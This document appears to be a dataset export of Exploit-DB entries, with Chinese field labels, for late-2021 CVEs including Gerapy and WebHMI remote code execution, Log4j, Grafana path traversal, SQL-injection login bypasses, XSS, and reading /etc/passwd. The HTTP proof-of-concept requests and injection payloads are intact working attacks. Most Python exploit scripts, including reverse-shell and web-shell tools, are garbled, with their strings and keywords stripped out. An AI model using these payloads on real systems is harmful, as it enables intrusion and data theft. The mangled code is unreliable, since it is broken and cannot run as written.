QLWD/code_shield huggingface dataset:
标题: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50640 CVE: 2021-43857 类型: REMOTE 平台: PYTHON 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

#!/usr/bin/python
import sys
 re
 argparse
 pyfiglet
 requests
 time
 json
 subprocess

banner  pyfigletfiglet_format
banner



login   
password   

 

  self target_ip target_port localhost localport
  selftarget_ip  target_ip
  selftarget_port  target_port
  selflocalhost  localhost
  selflocalport  localport

  self
  payload    localhost    localport  

  
  url    target_ip    target_port
  r  requestsSession
  
  r1  rgeturl
  timesleep
  
  r2  rposturl   jsonloginpassword allow_redirects
  timesleep
   r2status_code  
   
  
   
   quit

  
    jsonloadsr2text
  temp_token  
  temp_token2  jsondumpsstrip
  auth_token  
  auth_token  temp_token  temp_token2

  
  
  r3  rgeturl   headersauth_token allow_redirects
  timesleep

   r3status_code  
   
   quit

  
    r3text 
  dict2  jsondumps
  dict3  jsonloadsdict2
  dict3  jsonloadsdict3
  name  dict3
    name

  
  
  r4  rgeturl    name   headersauth_token allow_redirects
  timesleep
   r4status_code  
   
   quit

  
    r4text
  dict2  jsondumps
  dict3  jsonloadsdict2
  dict3  jsonloadsdict3
    dict3
   
  timesleep

  
  
  listener  subprocessPopen  selflocalport
  timesleep

  
  
  
  r5  rposturl       datapayload headersauth_token allow_redirects
  listenerwait

   r5status_code  
   
   listenerwait
  
   
   listenerterminate

 
 parser  argparseArgumentParserdescription
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 args  parserparse_args
  args

args  get_args
target_ip  argsurl
target_port  argstarget_port
localhost  argslocalhost
localport  argslocalport

exp  Exploittarget_ip target_port localhost localport
expexploitation URL: https://www.exploit-db.com/exploits/50640
标题: TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated) EDB-ID: 50638 CVE: 2021-35380 类型: REMOTE 平台: WINDOWS 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated)
# Date: 03/01/2022
# Exploit Author: Fabiano Golluscio @ Swascan
# Vendor Homepage: https://www.solari.it/it/
# Software Link: https://www.solari.it/it/solutions/other-solutions/access-control/
# Version: 3.24.0.2
# Fixed Version: 3.26.1.7
# Reference: https://www.swascan.com/solari-di-udine/

POC

curl http://url:port/file?valore=../../../../WINDOWS/System32/drivers/etc/hosts URL: https://www.exploit-db.com/exploits/50638
标题: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS) EDB-ID: 50626 CVE: 2021-45425 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
# Date: 28/12/2021
# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)
# Vendor Homepage: https://www.safarimontage.com/
# Version: 8.3 and 8.5
# Tested on: Ubuntu Linux [Firefox]
# CVE: CVE-2021-45425

# Proof of Concept:

GET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1
Host: vulnIP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=SSSION; lang=en
Connection: close URL: https://www.exploit-db.com/exploits/50626
标题: WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated) EDB-ID: 50624 CVE: 2021-39312 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated)
# Date: 23/12/2021
# Exploit Authors: Nicole Sheinin, Liad Levy
# Vendor Homepage: https://wordpress.org/plugins/seo-local-rank/
# Software Link: https://plugins.svn.wordpress.org/seo-local-rank/tags/2.2.2/
# Version: versions <= 2.2.2
# Tested on: MacOS 
# CVE: CVE-2021-39312
# Github repo: 

#!/usr/bin/env python3

import argparse, textwrap
import requests
 sys

parser  argparseArgumentParserdescription formatter_classargparseRawTextHelpFormatter                     
group_must  parseradd_argument_group
group_mustadd_argument required 
parseradd_argument  defaultrequired 

args  parserparse_args

 sysargv  
     f          
    sysexit  

HOST  argsurl
PAYLOAD  argspayload

url  HOST
payload  PAYLOAD


r  requestsposturldata payload
 rstatus_code  
  rtext URL: https://www.exploit-db.com/exploits/50624
标题: Nettmp NNT 5.1 - SQLi Authentication Bypass EDB-ID: 50627 CVE: 2021-45814 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: Nettmp NNT 5.1 - SQLi Authentication Bypass
# Date: 23/12/2021
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://wiki.nettemp.tk
# Software Link: https://wiki.nettemp.tk
# Version: nettmp NNT
# Tested on: Linux (Ubuntu 20.04)

Payload:

username: 1' or 1=1;--
password: \

Proof of Concept:

POST /index.php?id=status HTTP/1.1
Host: vuln.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://vuln.com
DNT: 1
Connection: close
Referer: http://vulnIP/index.php?id=status
Cookie: PHPSESSID=v8hmih4u92mftquen8gtvpstsq
Upgrade-Insecure-Requests: 1

username=1%27+or+1%3D1%3B--&password=%5C&form_login=log URL: https://www.exploit-db.com/exploits/50627
标题: WordPress Plugin WP Visitor Statistics 4.7 - SQL Injection EDB-ID: 50619 CVE: 2021-24750 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: WordPress Plugin WP Visitor Statistics 4.7 - SQL Injection
# Date 22/12/2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.plugins-market.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-stats-manager.4.7.zip
# Version: <= 4.7
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24750
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24750/README.md

'''
Description:
The plugin does not properly sanitise and escape the refUrl in the refDetails AJAX action,
available to any authenticated user, which could allow users with a role as low as
subscriber to perform SQL injection attacks
'''


banner  
banner

 argparse
 requests
 datetime  datetime


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD
command  argsCOMMAND


  datetimenowstrftime



session  requestsSession
auth_url    target_ip    target_port  wp_path  
check  sessiongetauth_url

header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     

auth  sessionpostauth_url headersheader databody


exploit_url    target_ip    target_port      command  
exploit  sessiongetexploit_url
exploittext
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50619
标题: WBCE CMS 1.5.1 - Admin Password Reset EDB-ID: 50609 CVE: 2021-3817 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-20 漏洞利用脚本: # Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or https://github.com/maxway2021
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: <= 1.5.1
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo: https://github.com/WBCE/WBCE_CMS
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain   

headers  
     
    

     
     
     


_p    _domain  

r  requestsposturl  _url headers  headers data  _p
 rstatus_code URL: https://www.exploit-db.com/exploits/50609
标题: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) EDB-ID: 50594 CVE: 2019-9581 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-14 漏洞利用脚本: # Exploit Title: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)
# Vulnerability founder: AkkuS
# Date: 13/12/2021
# Exploit Author: 0sunday
# Vendor Homepage: https://www.bookedscheduler.com/
# Software Link: N/A
# Version: Booked Scheduler 2.7.5
# Tester on: Kali 2021.2
# CVE: CVE-2019-9581

#!/usr/bin/python3

import sys
import requests
 random  randint


 
 login_payload  
   username
   password
   
  
 

 login_req  requestpost
   target
   login_payload
   verify
   allow_redirects
  

  login_reqstatus_code  
   
 
   
  exit


  login_reqtextsplitsplitsplitsplit



 csrf

 boundary  randint 

 _headers   
     
     
     boundary
     target
     
     target  

    

 data   boundary
 data  
 data  boundary
 data  
 data  
 data  
 data  boundary
 data  
 data  boundary
 data  
 data  csrf  
 data  boundary

 
 _proxies  
   
 

 upload_req  requestpost
   target
   headers  _headers
   data  data
   
   


 
 shell_req  requestgettarget

  shell_reqstatus_code  

  
    target  
 
  
  exit

 
 cmd  
 cmd  
  cmd  
  shell_req  requestgettarget  cmd
  shell_reqtext


 sysargv  
      sysargv  
    exit

target  sysargv
username  sysargv
password  sysargv


request  requestssession

csrf  login
upload_shellcsrf
shell URL: https://www.exploit-db.com/exploits/50594
标题: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration EDB-ID: 50601 CVE: 2021-44848 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-12-16 漏洞利用脚本: # Exploit Title: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration
# Date: 13/12/2021
# Exploit Author: Daniel Morales, IT Security Team - ARHS Spikeseed
# Vendor Homepage: https://www.cybelesoft.com
# Software Link: https://www.cybelesoft.com/thinfinity/virtualui/
# Version: vulnerable < v3.0
# Tested on: Microsoft Windows
# CVE: CVE-2021-44848

How it works: By accessing the vector, an attacker can determine if a username exists thanks to the message returned; it can be presented in different languages according to the configuration of VirtualUI. Common users are administrator, admin, guest...
Payload: The vulnerable vector is "https://example.com/changePassword?username=USERNAME" where "USERNAME" need to be brute-forced.
Reference: https://github.com/cybelesoft/virtualui/issues/1 URL: https://www.exploit-db.com/exploits/50601
标题: Apache Log4j 2 - Remote Code Execution (RCE) EDB-ID: 50592 CVE: 2021-44228 类型: REMOTE 平台: JAVA 发布日期: 2021-12-14 漏洞利用脚本: # Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Date: 11/12/2021
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc

import subprocess
import sys
import argparse
from colorama import Fore, init
import subprocess
import threading

 httpserver  HTTPServer SimpleHTTPRequestHandler

initautoreset

 s
str1  

 ele  s
str1  ele
 str1
 Exception  ex
parserprint_help
sysexit

 userip  webport  lport

genExploit  
  userip lport




f   
fwritegenExploit
fclose
ForeGREEN  

 Exception  e
ForeRED  f

checkJavaAvailible
ForeGREEN  


t1  threadingThreadtargetcreateLdapServer argsuseripwebport
t1start



httpd  HTTPServer webport SimpleHTTPRequestHandler
httpdserve_forever

 
javaver  subprocesscall  stderrsubprocessDEVNULL stdoutsubprocessDEVNULL
javaver  
ForeRED  
sysexit

 userip lport
sendme    userip
ForeGREEN sendme

subprocessrun 

url  "
http
userip lport
subprocessrun 
  url

 
ForeBLUE

 __name__  
header


parser  argparseArgumentParserdescription

parseradd_argument metavar 
nargs 

parseradd_argument metavar 
nargs 

parseradd_argument metavar 
nargs 

args  parserparse_args



payloadlistToStringargsuserip listToStringargswebport listToStringargslport

 KeyboardInterrupt
ForeRED  
sysexit URL: https://www.exploit-db.com/exploits/50592
标题: Apache Log4j2 2.14.1 - Information Disclosure EDB-ID: 50590 CVE: 2021-44228 类型: REMOTE 平台: JAVA 发布日期: 2021-12-14 漏洞利用脚本: # Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
 threading
 time

 requests

LDAP_HEADER  b


 socketserverBaseRequestHandler
     self  
        f

        sock  selfrequest
        sockrecv
        socksendallLDAP_HEADER

        data  sockrecv
        data  data  

        
        
        
        
        
        

        data  datadecodeerrorssplit
        f


 socketserverThreadingMixIn socketserverTCPServer
    


 
    parser  argparseArgumentParserdescription'a simple log4j
 information disclosure poc '
                                                 'ref
httpstwittercomBlack2Fanstatus'
    parseradd_argument  required 
    parseradd_argument default
                        'exploit server host to listen on
default '
    parseradd_argument  default

    parseradd_argument  required
default
                        
    parseradd_argument  default
                        
                             'see
httpstwittercomRayhan0x01status '
                             
    args  parserparse_args

    f
    server  ThreadedTCPServerargslisten_host argslisten_port
ThreadedTCPRequestHandler

    serv_thread  threadingThreadtargetserverserve_forever
    serv_threaddaemon  
    serv_threadstart
    timesleep
    f

    payload  f
    f

    
        r  requestsgetargstarget headers payload
        f
        f
     Exception  e
        f
    
        servershutdown
        serverserver_close


 __name__  
    main URL: https://www.exploit-db.com/exploits/50590
标题: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI) EDB-ID: 50588 CVE: 2021-45043 类型: REMOTE 平台: LINUX 发布日期: 2021-12-13 漏洞利用脚本: # Exploit Title: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI)
# Google Dork: intitle:"HD-Network Real-time Monitoring System V2.0"
# Date: 11/12/2021
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: N/A
# Version: V2.0
# Tested on: Nginx NVRDVRIPC Web Server

Proof of Concept:

GET /language/lang HTTP/1.1
Referer: http://example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Host: VulnIP
Connection: Keep-alive URL: https://www.exploit-db.com/exploits/50588
标题: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50589 CVE: 2021-43936 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-13 漏洞利用脚本: # Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 12/12/2021
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware < 4.1
# CVE: CVE-2021-43936
# Tested on: WebHMI Firmware 4.0.7475

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
 requests
 time
 subprocess

banner  pyfigletfiglet_format
banner



login   
password   

 

  self target_ip target_port localhost localport
  selftarget_ip  target_ip
  selftarget_port  target_port
  selflocalhost  localhost
  selflocalport  localport

  self
  payload  
  payload2    localhost    localport  

  headers_login  
   
   
   
   
   
   login
   password
   
   
   
  

  url    target_ip    target_port 
  r  requestsSession

  
  r1  rgeturl
  timesleep

  
  r2  rposturl   headersheaders_login allow_redirects
  timesleep

  
  login_cookies  
  r2headers
  
  
  
  r3  rposturl    r2headers  cookieslogin_cookies
  timesleep

  
  files  
    payload 
  
  r4  rposturl   filesfiles cookieslogin_cookies
  timesleep

  
  listener  subprocessPopen  selflocalport
  timesleep

  
  
  r5  rgeturl    payload2 cookieslogin_cookies

   r5status_code  
   
    
    listenerwait
  
   
   listenerterminate

 
 parser  argparseArgumentParserdescription
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 parseradd_argument  dest required action 
 args  parserparse_args
  args

args  get_args
target_ip  argsurl
target_port  argstarget_port
localhost  argslocalhost
localport  argslocalport

exp  Exploittarget_ip target_port localhost localport
expexploitation URL: https://www.exploit-db.com/exploits/50589
标题: Raspberry Pi 5.10 - Default Credentials EDB-ID: 50576 CVE: 2021-38759 类型: REMOTE 平台: LINUX 发布日期: 2021-12-09 漏洞利用脚本: # Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <= 5.10
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759

# Initial Release: https://twitter.com/netspooky/status/1468603668266209280

# Run: $ python3 exploit.py IP

import paramiko

import sys

hsysargv

u

p

cparamikoclientSSHClient

cset_missing_host_key_policyparamikoAutoAddPolicy

cconnecthusernameupasswordp

ioecexec_command

oread

cclose URL: https://www.exploit-db.com/exploits/50576
标题: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read EDB-ID: 50581 CVE: 2021-43798 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-12-09 漏洞利用脚本: # Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3


 requests
 argparse
 sys
 random  choice

plugin_list  
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    


 args
    s  requestsSession
    headers     

     
        file_to_read  

        
            url  argshost    choiceplugin_list    file_to_read
            req  requestsRequestmethod urlurl headersheaders
            prep  reqprepare
            prepurl  url
            r  ssendprep verify timeout

               rtext
                
            
                 rstatus_code  
                    rtext
                
                    
                    
         requestsexceptionsConnectTimeout
            
            
         Exception
            

 
    parser  argparseArgumentParserdescription
    parseradd_argumentdestrequired 
    args  parserparse_args

    
        exploitargs
     KeyboardInterrupt
        


 __name__  
    main
    sysexit URL: https://www.exploit-db.com/exploits/50581
标题: Student Management System 1.0 - SQLi Authentication Bypass EDB-ID: 50579 CVE: 2020-23935 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-09 漏洞利用脚本: # Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass
# Date: 2020-07-06
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html
# Version: 1.0
# Tested on: Windows & WampServer
# CVE: CVE-2020-23935

1- Go to following url. >> http://(HOST)/admin/login.php
2- We can login succesfully with SQL bypass method. 

-- Username = admin'#
-- Password = (Write Something)

NOTE: Default username and password is admin:admin.

(( HTTP Request ))

POST /process.php HTTP/1.1
Host: (HOST)
Connection: keep-alive
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://(HOST)/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://(HOST)/index.php?q=login
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl

U_USERNAME=admin'#&U_PASS=123123&sidebarLogin= URL: https://www.exploit-db.com/exploits/50579